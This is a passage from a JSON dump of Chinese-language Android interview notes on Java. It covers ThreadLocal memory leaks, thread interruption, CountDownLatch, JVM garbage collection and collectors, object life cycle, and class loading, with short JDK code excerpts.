    "content": "# Threadlocal原理\n\n`ThreadLocal` 为解决多线程程序的并发问题提供了一种新的思路。使用这个工具类可以很简洁地编写出优美的多线程程序。当使用 ThreadLocal 维护变量时，ThreadLocal 为每个使用该变量的线程提供独立的变量副本，所以每一个线程都可以独立地改变自己的副本，而不会影响其它线程所对应的副本。\n\n每个线程中都保有一个`ThreadLocalMap`的成员变量，`ThreadLocalMap `内部采用`WeakReference`数组保存，数组的key即为`ThreadLocal `内部的Hash值。\n\n## 内存泄漏\n\n`ThreadLocalMap` 使用 `ThreadLocal` 的弱引用作为 key ，如果一个 `ThreadLocal` 没有外部强引用来引用它，那么系统 GC 的时候，这个 `ThreadLocal` 势必会被回收，这样一来，`ThreadLocalMap` 中就会出现 `key` 为 `null` 的 `Entry` ，就没有办法访问这些 `key` 为 `null` 的 `Entry` 的 `value`，如果当前线程再迟迟不结束的话，这些 `key` 为 `null` 的 `Entry` 的 `value` 就会一直存在一条强引用链：`Thread Ref -> Thread -> ThreaLocalMap -> Entry -> value` 永远无法回收，造成内存泄漏。\n\n```java\nstatic class Entry extends WeakReference<ThreadLocal<?>> {\n    /** The value associated with this ThreadLocal. */\n    Object value;\n\n    Entry(ThreadLocal<?> k, Object v) {\n        super(k);\n        value = v;\n    }\n}\n```\n\n其实，`ThreadLocalMap` 的设计中已经考虑到这种情况，也加上了一些防护措施：在 `ThreadLocal` 的 `get(),set(),remove()`的时候都会清除线程 `ThreadLocalMap` 里所有 `key` 为 `null` 的 `value`\n"
  },
  {
    "path": "docs/android/interview/java/concurrent/6-interrupt.md",
    "content": "# []线程中断](https://javadoop.com/post/AbstractQueuedSynchronizer-2/)\n\n中断不是类似 `linux` 里面的命令 `kill -9 pid`，不是说我们中断某个线程，这个线程就停止运行了。**中断代表线程状态，每个线程都关联了一个中断状态，是一个 true 或 false 的 boolean 值，初始值为 false**。\n\n关于中断状态，我们需要重点关注 `Thread` 类中的以下几个方法：\n\n```java\n// Thread 类中的实例方法，持有线程实例引用即可检测线程中断状态\npublic boolean isInterrupted() {}\n\n// Thread 中的静态方法，检测调用这个方法的线程是否已经中断\n// 注意：这个方法返回中断状态的同时，会将此线程的中断状态重置为 false\n// 所以，如果我们连续调用两次这个方法的话，第二次的返回值肯定就是 false 了\npublic static boolean interrupted() {}\n\n// Thread 类中的实例方法，用于设置一个线程的中断状态为 true\npublic void interrupt() {}\n```\n\n我们说中断一个线程，其实就是设置了线程的 `interrupted status` 为 `true`，至于说被中断的线程怎么处理这个状态，那是那个线程自己的事。如以下代码：\n\n```java\nwhile (!Thread.interrupted()) {\n   doWork();\n   System.out.println(\"我做完一件事了，准备做下一件，如果没有其他线程中断我的话\");\n}\n```\n>这种代码就是会响应中断的，它会在干活的时候先判断下中断状态，不过，除了 JDK 源码外，其他用中断的场景还是比较少的，毕竟 JDK 源码非常讲究。\n\n当然，中断除了是线程状态外，还有其他含义，否则也不需要专门搞一个这个概念出来了。如果线程处于以下三种情况，那么当线程被中断的时候，能自动感知到：\n\n  - 来自 `Object` 类的 `wait()、wait(long)、wait(long, int)`，来自 `Thread` 类的` join()、join(long)、join(long, int)、sleep(long)、sleep(long, int)`\n    > 这几个方法的相同之处是，方法上都有: throws InterruptedException\n    > 如果线程阻塞在这些方法上（我们知道，这些方法会让当前线程阻塞），这个时候如果其他线程对这个线程进行了中断，那么这个线程会从这些方法中立即返回，抛出 InterruptedException 异常，同时重置中断状态为 false。\n\n  - 实现了 `InterruptibleChannel` 接口的类中的一些 I/O 阻塞操作，如 `DatagramChannel` 中的 `connect` 方法和 `receive` 方法等\n    >如果线程阻塞在这里，中断线程会导致这些方法抛出 ClosedByInterruptException 并重置中断状态。\n\n  - `Selector` 中的 `select` 方法\n    >一旦中断，方法立即返回\n\n对于以上 3 种情况是最特殊的，因为他们能自动感知到中断（这里说自动，当然也是基于底层实现），并且在做出相应的操作后都会重置中断状态为 false。\n\n那是不是只有以上 3 种方法能自动感知到中断呢？不是的，如果线程阻塞在 `LockSupport.park(Object obj)` 方法，也叫挂起，**这个时候的中断也会导致线程唤醒，但是唤醒后不会重置中断状态，所以唤醒后去检测中断状态将是 true**。\n\n## InterruptedException 概述\n\n它是一个特殊的异常，不是说 JVM 对其有特殊的处理，而是它的使用场景比较特殊。通常，我们可以看到，像 `Object` 中的 `wait()` 方法，`ReentrantLock` 中的 `lockInterruptibly()` `方法，Thread` 中的 `sleep()` 方法等等，这些方法都带有 `throws InterruptedException`，我们通常称这些方法为阻塞方法（`blocking method`）。\n\n阻塞方法一个很明显的特征是，它们需要花费比较长的时间（不是绝对的，只是说明时间不可控），还有它们的方法结束返回往往依赖于外部条件，如 `wait` 方法依赖于其他线程的 `notify`，`lock` 方法依赖于其他线程的 `unlock` 等等。\n\n当我们看到方法上带有 `throws InterruptedException` 时，我们就要知道，这个方法应该是阻塞方法，我们如果希望它能早点返回的话，我们往往可以通过中断来实现。\n\n除了几个特殊类（如 `Object，Thread`等）外，**感知中断并提前返回是通过轮询中断状态来实现的**。我们自己需要写可中断的方法的时候，就是通过在合适的时机（通常在循环的开始处）去判断线程的中断状态，然后做相应的操作（通常是方法直接返回或者抛出异常）。当然，我们也要看到，如果我们一次循环花的时间比较长的话，那么就需要比较长的时间才能感知到线程中断了。\n\n## 处理中断\n一旦中断发生，我们接收到了这个信息，然后怎么去处理中断呢？本小节将简单分析这个问题。\n\n我们经常会这么写代码：\n```java\ntry {\n    Thread.sleep(10000);\n} catch (InterruptedException e) {\n    // ignore\n}\n// go on\n```\n\n当 sleep 结束继续往下执行的时候，我们往往都不知道这块代码是真的 `sleep` 了 `10` 秒，还是只休眠了 `1` 秒就被中断了。这个代码的问题在于，我们将这个异常信息吞掉了。（对于 `sleep` 方法，我相信大部分情况下，我们都不在意是否是中断了，这里是举例）\n\nAQS 的做法很值得我们借鉴，我们知道 `ReentrantLock` 有两种 `lock` 方法：\n\n```java\npublic void lock() {\n    sync.lock();\n}\n\npublic void lockInterruptibly() throws InterruptedException {\n    sync.acquireInterruptibly(1);\n}\n```\n\n前面我们提到过，`lock()` 方法不响应中断。如果 `thread1` 调用了 `lock()` 方法，过了很久还没抢到锁，这个时候 `thread2` 对其进行了中断，`thread1` 是不响应这个请求的，它会继续抢锁，当然它不会把“被中断”这个信息扔掉。我们可以看以下代码：\n\n```java\npublic final void acquire(int arg) {\n    if (!tryAcquire(arg) &&\n        acquireQueued(addWaiter(Node.EXCLUSIVE), arg))\n        // 我们看到，这里也没做任何特殊处理，就是记录下来中断状态。\n        // 这样，如果外层方法需要去检测的时候，至少我们没有把这个信息丢了\n        selfInterrupt();// Thread.currentThread().interrupt();\n}\n```\n而对于 `lockInterruptibly()` 方法，因为其方法上面有` throws InterruptedException` ，这个信号告诉我们，如果我们要取消线程抢锁，直接中断这个线程即可，它会立即返回，抛出 `InterruptedException` 异常。\n\n在并发包中，有非常多的这种处理中断的例子，提供两个方法，分别为响应中断和不响应中断，对于不响应中断的方法，记录中断而不是丢失这个信息。如 `Condition` 中的两个方法就是这样的：\n\n```java\nvoid await() throws InterruptedException;\nvoid awaitUninterruptibly();\n```\n"
  },
  {
    "path": "docs/android/interview/java/concurrent/7-CountDownLatch.md",
    "content": "# CountDownLatch\n\n`CountDownLatch` 是可以使一个或者多个线程等待其他线程完成某些操作的同步器。`CountDownLatch` 通过一个给定的数字 `count` 进行初始化。调用 `await` 方法的线程会一直阻塞到其他线程调用 `countDown` 将 `count` 变为0，这时所有的线程都将释放，并且后续的 `await` 方法调用都会立即返回。`count` 值不能重置。如果你需要重置 `count` 请考虑使用 `CyclicBarrier`。\n\n`CountDownLatch` 是一个能力很强的同步工具，可以用在多种途径。`CountDownLatch` 最重要的属性是其不要求 调用 `countDown` 的线程等待到 `count` 为0，只是要求所有 `await` 调用线程等待。\n\n`CountDownLatch` 内部使用的是 AQS，AQS 里面的 state 是一个整数值，这边用一个 `int count` 参数其实初始化就是设置了这个值，所有调用了 `await` 方法的等待线程会挂起，然后有其他一些线程会做 `state = state - 1` 操作，当 `state` 减到 `0` 的同时，那个将 `state` 减为 `0` 的线程会负责唤醒 所有调用了 `await` 方法的线程。\n\n![](images/7-CountDownLatch-29ecd.png)\n\n  - `countDown()` 方法每次调用都会将 `state` 减 1，直到 `state` 的值为 0；而 `await` 是一个阻塞方法，当 `state` 减为 `0` 的时候，`await` 方法才会返回。`await` 可以被多个线程调用，读者这个时候脑子里要有个图：所有调用了 `await` 方法的线程阻塞在 `AQS` 的阻塞队列中，等待条件满足（`state == 0`），将线程从队列中一个个唤醒过来。\n  - `await()` 方法，它代表线程阻塞，等待 `state` 的值减为 `0`。\n"
  },
  {
    "path": "docs/android/interview/java/gc/11-jvm-gc.md",
    "content": "# JVM垃圾回收\n\n> 本片文章均指 HotSpot 的GC\n\nJava堆中存放着大量的Java对象实例，在垃圾收集器回收内存前，第一件事情就是确定哪些对象是“活着的”，哪些是可以回收的。\n\n## 引用计数算法\n\n引用计数算法是判断对象是否存活的基本算法：给每个对象添加一个引用计数器，没当一个地方引用它的时候，计数器值加1；当引用失效后，计数器值减1。但是这种方法有一个致命的缺陷，**当两个对象相互引用时会导致这两个都无法被回收**。\n\n## 根搜索算法\n\n在主流的商用语言中（Java、C#...）都是使用根搜索算法来判断对象是否存活。对于程序来说，根对象总是可以访问的。*从这些根对象开始，任何可以被触及的对象都被认为是\"活着的\"的对象。无法触及的对象被认为是垃圾，需要被回收*。\n\nJava虚拟机的根对象集合根据实现不同而不同，但是总会包含以下几个方面：\n  - 虚拟机栈（栈帧中的本地变量表）中引用的对象。\n  - 方法区中的类静态属性引用的变量。\n  - 方法区中的常量引用的变量。\n  - 本地方法JNI的引用对象。\n\n**区分活动对象和垃圾的两个基本方法是引用计数和根搜索。** 引用计数是通过为堆中每个对象保存一个计数来区分活动对象和垃圾。根搜索算法实际上是追踪从根结点开始的引用图。\n\n## 引用对象\n\n引用对象封装了指向其他对象的连接：被指向的对象称为引用目标。`Reference`有三个直接子类`SoftReference`、`WeakReference`、`PhantomReference`分别代表：软引用、弱引用、虚引用。强引用在Java中是普遍存在的，类似`Object o = new Object();`这类引用就是强引用，强引用和以上引用的区别在于：**强引用禁止引用目标被垃圾收集器收集，而其他引用不禁止。**\n\n>当使用软引用、弱引用、虚引用时，并且对可触及性状态的改变有兴趣，可以把引用对象和引用队列关联起来。\n\n对象有六种可触及状态变化：\n\n  - `强可触及`：对象可以从根节点不通过任何引用对象搜索到。垃圾收集器不会回收这个对象的内存空间。\n\n  - `软可触及`：对象可以从根节点通过一个或多个(未被清除的)软引用对象触及，垃圾收集器在要发生内存溢出前将这些对象列入回收范围中进行回收，如果该软引用对象和引用队列相关联，它会把该软引用对象加入队列。\n\n  >SoftReference可以用来创建内存中缓存，JVM的实现需要在抛出OutOfMemoryError之前清除软引用，但在其他的情况下可以选择清理的时间或者是否清除它们。\n\n  - `弱可触及`：对象可以从根节点开始通过一个或多个(未被清除的)弱引用对象触及，垃圾收集器在一次GC的时候会回收所有的弱引用对象，如果该弱引用对象和引用队列相关联，它会把该弱引用对象加入队列。\n\n  - `可复活的`：对象既不是强可触及、软可触及、也不是弱可触及，但仍然可能通过执行某些终结方法复活到这几个状态之一。\n\n  > Java类可以通过重写finalize方法复活准备回收的对象，但finalize方法只是在对象第一次回收时会调用。\n\n  - `虚可触及`：**垃圾收集器不会清除一个虚引用，所有的虚引用都必须由程序明确的清除。** 同时也不能通过虚引用来取得一个对象的实例。\n\n  - `不可触及`：不可触及对象已经准备好回收了。\n\n  >若一个对象的引用类型有多个，那到底如何判断它的可达性呢？其实规则如下：\n  >1. 单条引用链的可达性以最弱的一个引用类型来决定；\n  >2. 多条引用链的可达性以最强的一个引用类型来决定；\n\n## 垃圾回收算法\n\n### 标记--清除算法\n\n首先标记出所有需要回收的对象，在标记完成后统一回收所有被标记的对象，标记的方法使用根搜索算法。主要有两个缺点：\n\n  - 效率问题，标记和清除的效率都不高。\n\n  - 空间问题，标记清除后会产生大量不连续的内存碎片。\n\n### 复制回收算法\n\n将可用内存分为大小相等的两份，在同一时刻只使用其中的一份。当这一份内存使用完了，就将还存活的对象复制到另一份上，然后将这一份上的内存清空。复制算法能有效避免内存碎片，但是算法需要将内存一分为二，导致内存使用率大大降低。\n\n### 标记--整理算法\n\n复制算法在对象存活率较高的情况下会复制很多的对象，效率会很低。标记--整理算法就解决了这样的问题，标记过程和标记--清除算法一样，但后续是将所有存活的对象都移动到内存的一端，然后清理掉端外界的对象。\n\n## 分代回收(HotSpot)\n\n在JVM中不同的对象拥有不同的生命周期，因此对于不同生命周期的对象也可以采用不同的垃圾回收方法，以提高效率，这就是分代回收算法的核心思想。\n\n在不进行对象存活时间区分的情况下，每次垃圾回收都是对整个堆空间进行回收，花费的时间相对会长。同时，因为每次回收都需要遍历所有存活对象，但实际上，对于生命周期长的对象而言，这种遍历是没有效果的，因为可能进行了很多次遍历，但是他们依旧存在。因此，分代垃圾回收采用分治的思想，进行代的划分，把不同生命周期的对象放在不同代上，不同代上采用最适合它的垃圾回收方式进行回收。\n\nJVM中的共划分为三个代：`新生代（Young Generation）`、`老年代（Old Generation）`和`永久代（Permanent Generation）`。其中永久代主要存放的是Java类的类信息，与垃圾收集要收集的Java对象关系不大。\n\n  ![](images/jvm-gc-1.jpg)\n\n  - `新生代`：所有新生成的对象首先都是放在新生代的，新生代采用复制回收算法。新生代的目标就是尽可能快速的收集掉那些生命周期短的对象。新生代分三个区。一个Eden区，两个Survivor区(一般而言)。**大部分对象在Eden区中生成。当Eden区满时，还存活的对象将被复制到Survivor区（两个中的一个），当这个Survivor区满时，此区的存活对象将被复制到另外一个Survivor区，当这个Survivor去也满了的时候，从第一个Survivor区复制过来的并且此时还存活的对象，将被复制“年老区(Tenured)”**。需要注意，Survivor的两个区是对称的，没先后关系，所以同一个区中可能同时存在从Eden复制过来 对象，和从前一个Survivor复制过来的对象，而复制到年老区的只有从第一个Survivor去过来的对象。而且，Survivor区总有一个是空的。\n    > 在HotSpot虚拟机内部默认Eden和Survivor的大小比例是8:1， 也就是每次新生代中可用内存为整个新生代的90%，这大大提高了复制回收算法的效率。\n\n  - `老年代`：在新生代中经历了N次垃圾回收后仍然存活的对象，就会被放到老年代中，老年代采用标记整理回收算法。因此，可以认为老年代中存放的都是一些生命周期较长的对象。\n\n  - `永久代`：HotSpot 的方法区实现，用于存储类信息、常量池、静态变量、JIT编译后的代码等数据\n\n## HotSpot 各版本永久代变化\n\n  - 在Java 6中，方法区中包含的数据，除了JIT编译生成的代码存放在`native memory`的`CodeCache`区域，其他都存放在永久代；\n  - 在Java 7中，`Symbol`的存储从`PermGen`移动到了`native memory`，并且把静态变量从`instanceKlass`末尾（位于`PermGen`内）移动到了`java.lang.Class`对象的末尾（位于普通`Java heap`内）；\n  - 在Java 8中，永久代被彻底移除，取而代之的是另一块与堆不相连的本地内存——元空间（`Metaspace`）,`‑XX:MaxPermSize` 参数失去了意义，取而代之的是`-XX:MaxMetaspaceSize`。\n\n### [移除永久代](https://www.sczyh30.com/posts/Java/jvm-metaspace/)\n\n`Java 8` 彻底将永久代 (`PermGen`) 移除出了 `HotSpot JVM`，将其原有的数据迁移至 `Java Heap` 或 `Metaspace`。\n\n在 `HotSpot JVM` 中，永久代中用于存放类和方法的元数据以及常量池，比如`Class`和`Method`。每当一个类初次被加载的时候，它的元数据都会放到永久代中。\n\n**永久代是有大小限制的**，因此如果加载的类太多，很有可能导致永久代内存溢出，即万恶的 `java.lang.OutOfMemoryError: PermGen` ，为此我们不得不对虚拟机做调优。\n\n那么，`Java 8` 中 `PermGen` 为什么被移出 `HotSpot JVM` 了？\n\n  - 由于 · 内存经常会溢出，引发恼人的 `java.lang.OutOfMemoryError: PermGen`，因此 `JVM` 的开发者希望这一块内存可以更灵活地被管理，不要再经常出现这样的 `OOM`\n  - 移除 `PermGen` 可以促进` HotSpot JVM` 与 `JRockit VM` 的融合，因为 `JRockit` 没有永久代。\n\n`根据上面的各种原因，PermGen` 最终被移除，**方法区移至 Metaspace，字符串常量移至 Java Heap**。\n\n### 元空间\n\n首先，Metaspace（元空间）是哪一块区域？官方的解释是：\n\n> In JDK 8, classes metadata is now stored in the native heap and this space is called Metaspace.\n\n也就是说，JDK 8 开始把类的元数据放到本地堆内存(native heap)中，这一块区域就叫 Metaspace，中文名叫元空间。\n\n## 垃圾回收触发条件\n\n由于对象进行了分代处理，因此垃圾回收区域、时间也不一样。GC有两种类型：Scavenge GC和Full GC。对于一个拥有终结方法的对象，在垃圾收集器释放对象前必须执行终结方法。但是当垃圾收集器第二次收集这个对象时便不会再次调用终结方法。\n\n### Scavenge GC\n\n  一般情况下，当新对象生成，并且在Eden申请空间失败时，就会触发Scavenge GC，对Eden区域进行GC，清除非存活对象，并且把尚且存活的对象移动到Survivor区，然后整理Survivor的两个区。这种方式的GC是对新生代的Eden区进行，不会影响到老年代。因为大部分对象都是从Eden区开始的，同时Eden区不会分配的很大，所以Eden区的GC会频繁进行。\n\n### Full GC\n\n对整个堆进行整理，包括Young、Tenured和Perm。Full GC因为需要对整个对进行回收，所以比Scavenge GC要慢，因此应该尽可能减少Full GC的次数。在对JVM调优的过程中，很大一部分工作就是对于FullGC的调节。有如下原因可能导致Full GC：\n\n  - 老年代（Tenured）被写满\n\n  - 永久代（Perm）被写满\n\n  - System.gc()被显示调用\n\n## 垃圾收集器\n\n垃圾收集器是内存回收的具体实现，下图展示了7种用于不同分代的收集器，两个收集器之间有连线表示可以搭配使用。下面的这些收集器没有“最好的”这一说，每种收集器都有最适合的使用场景。\n\n![](images/hotspot-jvm-1.6-garbage-collector.jpg)\n\n### Serial收集器\n\n**Serial收集器是最基本的收集器，这是一个单线程收集器，它“单线程”的意义不仅仅是说明它只用一个线程去完成垃圾收集工作，更重要的是在它进行垃圾收集工作时，必须暂停其他工作线程，直到它收集完成**。Sun将这件事称之为”Stop the world“。\n\n> 没有一个收集器能完全不停顿，只是停顿的时间长短。\n\n虽然Serial收集器的缺点很明显，但是它仍然是JVM在Client模式下的默认新生代收集器。它有着优于其他收集器的地方：简单而高效（与其他收集器的单线程比较），Serial收集器由于没有线程交互的开销，专心只做垃圾收集自然也获得最高的效率。在用户桌面场景下，分配给JVM的内存不会太多，停顿时间完全可以在几十到一百多毫秒之间，只要收集不频繁，这是完全可以接受的。\n\n### ParNew收集器\n\nParNew是Serial的多线程版本，在回收算法、对象分配原则上都是一致的。ParNew收集器是许多运行在Server模式下的默认新生代垃圾收集器，其主要在于除了Serial收集器，目前只有ParNew收集器能够与CMS收集器配合工作。\n\n### Parallel Scavenge收集器（1.8默认新生代）\n\nParallel Scavenge收集器是一个新生代垃圾收集器，其使用的算法是`复制算法`，也是并行的多线程收集器。\n\nParallel Scavenge 收集器更关注可控制的吞吐量，吞吐量等于运行用户代码的时间/(运行用户代码的时间+垃圾收集时间)。直观上，只要最大的垃圾收集停顿时间越小，吞吐量是越高的，但是GC停顿时间的缩短是以牺牲吞吐量和新生代空间作为代价的。比如原来10秒收集一次，每次停顿100毫秒，现在变成5秒收集一次，每次停顿70毫秒。停顿时间下降的同时，吞吐量也下降了。\n\n停顿时间越短就越适合需要与用户交互的程序；而高吞吐量则可以最高效的利用CPU的时间，尽快的完成计算任务，主要适用于后台运算。\n\n### Serial Old收集器\n\nSerial Old收集器是Serial收集器的老年代版本，也是一个单线程收集器，采用“标记-整理算法”进行回收。其运行过程与Serial收集器一样。\n\n### Parallel Old收集器（1.8默认老年代）\n\nParallel Old收集器是Parallel Scavenge收集器的老年代版本，使用多线程和`标记-整理`算法进行垃圾回收。其通常与Parallel Scavenge收集器配合使用，“吞吐量优先”收集器是这个组合的特点，在注重吞吐量和CPU资源敏感的场合，都可以使用这个组合。\n\n### CMS 收集器\n\nCMS（Concurrent Mark Sweep）收集器是一种以获取最短停顿时间为目标的收集器，CMS收集器采用`标记--清除`算法，运行在老年代。主要包含以下几个步骤：\n\n  - 初始标记\n  - 并发标记\n  - 重新标记\n  - 并发清除\n\n其中初始标记和重新标记仍然需要“Stop the world”。初始标记仅仅标记GC Root能直接关联的对象，并发标记就是进行GC Root Tracing过程，而重新标记则是为了修正并发标记期间，因用户程序继续运行而导致标记变动的那部分对象的标记记录。\n\n由于整个过程中最耗时的并发标记和并发清除，收集线程和用户线程一起工作，所以总体上来说，CMS收集器回收过程是与用户线程并发执行的。虽然CMS优点是并发收集、低停顿，很大程度上已经是一个不错的垃圾收集器，但是还是有三个显著的缺点：\n\n  - **CMS收集器对CPU资源很敏感**。在并发阶段，虽然它不会导致用户线程停顿，但是会因为占用一部分线程（CPU资源）而导致应用程序变慢。\n\n  - **CMS收集器不能处理浮动垃圾**。所谓的“浮动垃圾”，就是在并发标记阶段，由于用户程序在运行，那么自然就会有新的垃圾产生，这部分垃圾被标记过后，CMS无法在当次集中处理它们，只好在下一次GC的时候处理，这部分未处理的垃圾就称为“浮动垃圾”。也是由于在垃圾收集阶段程序还需要运行，即还需要预留足够的内存空间供用户使用，因此CMS收集器不能像其他收集器那样等到老年代几乎填满才进行收集，需要预留一部分空间提供并发收集时程序运作使用。要是CMS预留的内存空间不能满足程序的要求，这是JVM就会启动预备方案：临时启动Serial Old收集器来收集老年代，这样停顿的时间就会很长。\n\n  - **由于CMS使用标记--清除算法，所以在收集之后会产生大量内存碎片**。当内存碎片过多时，将会给分配大对象带来困难，这是就会进行Full GC。\n\n### G1收集器\n\nG1收集器与CMS相比有很大的改进：\n\n  - G1收集器采用标记--整理算法实现。\n  - 可以非常精确地控制停顿。\n\n**G1收集器可以实现在基本不牺牲吞吐量的情况下完成低停顿的内存回收，这是由于它极力的避免全区域的回收，G1收集器将Java堆（包括新生代和老年代）划分为多个区域（Region），并在后台维护一个优先列表，每次根据允许的时间，优先回收垃圾最多的区域** 。\n"
  },
  {
    "path": "docs/android/interview/java/gc/12-jvm-object-life-cycle.md",
    "content": "# 对象的生命周期\n\n一旦一个类被装载、连接和初始化，它就随时可以被使用。程序可以访问它的静态字段，调用它的静态方法，或者创建它的实例。作为Java程序员有必要了解Java对象的生命周期。\n\n## 类实例化\n\n在Java程序中，类可以被明确或隐含地实例化。明确的实例化类有四种途径：\n  - 明确调用`new`。\n  - 调用`Class`或者`java.lang.reflect.Constructor`对象的`newInstance`方法。\n  - 调用任何现有对象的`clone`。\n  - 通过`java.io.ObjectInputStream.getObject()`反序列化。\n\n隐含的实例化：\n  - 可能是保存命令行参数的`String`对象。\n  - 对于Java虚拟机装载的每个类，都会暗中实例化一个Class对象来代表这个类型\n  - 当Java虚拟机装载了在常量池中包含`CONSTANT_String_info`入口的类的时候，它会创建新的`String`对象来表示这些常量字符串。\n  - 执行包含字符串连接操作符的表达式会产生新的对象。\n\nJava编译器为它编译的每个类至少生成一个实例初始化方法。在Java class文件中，这个方法被称为`<init>`。针对源代码中每个类的构造方法，Java编译器都会产生一个`<init>()`方法。如果累没有明确的声明任何构造方法，编译器会默认产生一个无参数的构造方法，它仅仅调用父类的无参构造方法。\n\n一个`<init>()`中可能包含三种代码：调用另一个`<init>()`、实现对任何实例变量的初始化、构造方法体的代码。\n\n如果构造方法明确的调用了同一个类中的另一个构造方法(`this()`)，那么它对应的`<init>()`由两部分组成：\n\n  - 一个同类的`<init>()`的调用。\n  - 实现了对应构造方法的方法体的字节码。\n\n  > 在它对应的`<init>()`方法中不会有父类的`<init>()`，但不代表不会调用父类的`<init>()`，因为`this()`中也会调用父类`<init>()`\n\n如果构造方法不是通过一个`this()`调用开始的，而且这个对象不是`Object`，`<init>()`则有三部分组成：\n  - 一个父类的`<init>()`调用。*如果这个类是`Object`,则没有这个部分*\n  - 任意实例变量初始化方法的字节码。\n  - 实现了对应构造方法的方法体的字节码。\n\n如果构造方法明确的调用父类的构造方法`super()`开始，它的`<init>()`会调用对应父类的`<init>()`。比如，如果一个构造方法明确的调用`super(int,String)`开始，对应的`<init>()`会从调用父类的`<init>(int,String)`方法开始。**如果构造方法没有明确地从`this()`或`super()`开始，对应的`<init>()`默认会调用父类的无参`<init>()`。**\n\n## 垃圾收集和对象的终结\n程序可以明确或隐含的为对象分配内存，但不能明确的释放内存。一个对象不再为程序引用，虚拟机必须回事那部分内存。\n\n## 卸载类\n在很多方面，Java虚拟机中类的生命周期和对象的生命周期很相似。当程序不再使用某个类的时候，可以选择卸载它们。\n\n>类的垃圾收集和卸载值所以在Java虚拟机中很重要，是因为Java程序可以在运行时通过用户自定义的类装载器装载类型来动态的扩展程序。所有被装载的类型都在方法区占据内存空间。\n\nJava虚拟机通过判断类是否在被引用来进行垃圾收集。判断动态装载的类的`Class`实例在正常的垃圾收集过程中是否可触及有两种方式：\n  - 如果程序保持非`Class`实例的明确引用。\n  - 如果在堆中还存在一个可触及的对象，在方法区中它的类型数据指向一个`Class`实例。\n\n![](images/touch-class-instance.png)\n"
  },
  {
    "path": "docs/android/interview/java/jvm/1-jvm-class-load-init.md",
    "content": "# JVM类加载三步走\n\n## 简介\n\nJava虚拟机通过装载、连接和初始化一个类型，使该类型可以被正在运行的Java程序使用。\n\n  1. 装载：把二进制形式的Java类型读入Java虚拟机中。\n  2. 连接：把装载的二进制形式的类型数据合并到虚拟机的运行时状态中去。\n    1. 验证：确保Java类型数据格式正确并且适合于Java虚拟机使用。\n    2. 准备：负责为该类型分配它所需内存。\n    3. 解析：把常量池中的符号引用转换为直接引用。(可推迟到运行中的程序真正使用某个符号引用时再解析)\n  3. 初始化：为类变量赋适当的初始值\n\n所有Java虚拟机实现必须在每个类或接口首次主动使用时初始化。以下六种情况符合主动使用的要求：\n\n  - 当创建某个类的新实例时(new、反射、克隆、序列化)\n  - 调用某个类的静态方法\n  - 使用某个类或接口的静态字段，或对该字段赋值(用final修饰的静态字段除外，它被初始化为一个编译时常量表达式)\n  - 当调用Java API的某些反射方法时。\n  - 初始化某个类的子类时。\n  - 当虚拟机启动时被标明为启动类的类。\n\n除以上六种情况，所有其他使用Java类型的方式都是被动的，它们不会导致Java类型的初始化。\n\n>对于接口来说，只有在某个接口声明的非常量字段被使用时，该接口才会初始化，而不会因为事先这个接口的子接口或类要初始化而被初始化。\n\n**父类需要在子类初始化之前被初始化，所以这些类应该被装载了。当实现了接口的类被初始化的时候，不需要初始化父接口。然而，当实现了父接口的子类(或者是扩展了父接口的子接口)被装载时，父接口也要被装载。(只是被装载，没有初始化)**\n\n## 装载\n\n- 通过该类型的全限定名，产生一个代表该类型的二进制数据流。\n- 解析这个二进制数据流为方法去内的内部数据结构。\n- 创建一个表示该类型的`java.lang.Class`类的实例。\n\nJava虚拟机在识别Java class文件，产生了类型的二进制数据后，Java虚拟机必须把这些二进制数据解析为与实现相关的内部数据结构。**装载的最终产品就是Class实例，它称为Java程序与内部数据结构之间的接口**。要访问关于该类型的信息(存储在内部数据结构中)，程序就要调用该类型对应的Class实例的方法。**这样一个过程，就是把一个类型的二进制数据解析为方法区中的内部数据结构，并在堆上建立一个Class对象的过程，这被称为\"创建\"类型。**\n\n## 验证\n\n确认装载后的类型符合Java语言的语义，并且不会危及虚拟机的完整性。\n  - `装载时验证`：检查二进制数据以确保数据全部是预期格式、确保除Object之外的每个类都有父类、确保该类的所有父类都已经被装载。\n  - `正式验证阶段`：检查final类不能有子类、确保final方法不被覆盖、确保在类型和超类型之间没有不兼容的方法声明(比如拥有两个名字相同的方法，参数在数量、顺序、类型上都相同，但返回类型不同)。\n  - `符号引用的验证`：当虚拟机搜寻一个呗符号引用的元素(类型、字段或方法)时，必须首先确认该元素存在。如果虚拟机发现元素存在，则必须进一步检查引用类型有访问该元素的权限。\n\n## 准备\n\n当Java虚拟机装载一个类，并执行了一些验证之后，类就可以进入准备阶段。**在准备阶段，Java虚拟机为类变量分配内存，设置默认初始值。但在到到初始化阶段之前，类变量都没有被初始化为真正的初始值。**\n\n![](images/java-default-value.png)\n\n>boolean在内部常常被实现为一个int，会被默认初始化为0。\n\n## 解析\n\n类型经过连接的前两个阶段--验证和准备--之后，就可以进入第三个阶段--解析。解析的过程就是在类型的常量池总寻找类、接口、字段和方法的符号引用，**把这些符号引用替换为直接引用的过程**。\n\n- `类或接口的解析`：判断所要转化成的直接引用是对数组类型，还是普通的对象类型的引用，从而进行不同的解析。\n\n- `字段解析`：对字段进行解析时，会先在本类中查找是否包含有简单名称和字段描述符都与目标相匹配的字段，如果有，则查找结束；如果没有，则会按照继承关系从上往下递归搜索该类所实现的各个接口和它们的父接口，还没有，则按照继承关系从上往下递归搜索其父类，直至查找结束，\n\n## 初始化\n\n为类变量赋予“正确”的初始值。这里的“正确”的初始值是指程序员希望这个类变量所具备的初始值。**所有的类变量(即静态量)初始化语句和类型的静态初始化器都被Java编译器收集在一起，放到一个特殊的方法中。** 对于类来说，这个方法被称作类初始化方法；对于接口来说，它被称为接口初始化方法。在类和接口的class文件中，这个方法被称为`<clinit>`。\n\n#### 初始化类的步骤：\n  1. 如果存在直接父类，且直接父类没有被初始化，先初始化直接父类。\n  2. 如果类存在一个类初始化方法，执行此方法。\n\n这个步骤是递归执行的，即第一个初始化的类一定是`Object`。**初始化接口并不需要初始化它的父接口。**\n\n**Java虚拟机必须确保初始化过程被正确地同步。** 如果多个线程需要初始化一个类，仅仅允许一个线程来进行初始化，其他线程需等待。\n\n>这个特性可以用来写单例模式。\n\n### `<clinit>()`方法\n\n  - 对于静态变量和静态初始化语句来说：执行的顺序和它们在类或接口中出现的顺序有关。\n  - **并非所有的类都需要在它们的`class`文件中拥有`<clinit>()`方法，** 